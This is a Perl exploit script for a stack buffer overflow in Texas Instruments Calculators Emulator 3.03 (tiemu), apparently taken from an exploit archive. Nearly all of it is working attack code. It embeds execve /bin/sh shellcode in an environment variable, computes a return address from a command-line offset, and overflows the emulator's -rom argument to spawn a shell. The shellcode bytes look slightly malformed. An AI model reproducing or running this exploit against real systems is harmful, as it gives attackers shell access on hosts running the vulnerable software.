Texas Instruments Calculators Emulator 3.03 Buffer Overflow

`#!/usr/bin/perl  
  
#################################################################  
#This exploit uses command line arguments for different offsets #   
#So it can be tested on different systems *NIX Flavours #   
#################################################################  
  
  
##########################################################################  
#Texas Instruments Emulator exploit #  
#Version: 3.03-nogdb+dfsg-3 #   
# #  
#As discussed here previously: https://www.exploit-db.com/exploits/39692/#  
#And here https://packetstormsecurity.com/files/136679/Texas-Instruments #  
#-Calculators-Emulator-3.03-nogdb-dfsg-3-Buffer-Overflow.html #  
# #  
# EMAIL -> n_a at tutanota.com #  
# #  
##########################################################################  
  
$filename = "usr/bin/tiemu"; #path name of the binary  
$shellcode =   
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\xb0\x0b\xcd\x80";  
  
#Calculating the return address of our shellcode  
$ret = 0xbffffffa - length($shellcode) - length($filename);  
  
#Try different offsets  
$offs = $ARGV[0];  
  
  
print "\n***Local Exploit for Texas Instruments Emulator***\n";  
print "\t\tBy N_A\n\n";  
print "Use: $0 Offset\n\n";  
sleep 1;  
printf("Ret Shellcode 0x%x\n",$ret + $offs);  
  
  
  
$adr = pack('l', ($ret + $offs));  
$buff = 'A' x 96;  
$buff .= $adr x 6;  
  
#Set buffer in local var  
local($ENV{'NNN'}) = $shellcode;  
  
exec("$filename -rom= $buff");  
  
#eof  
  
`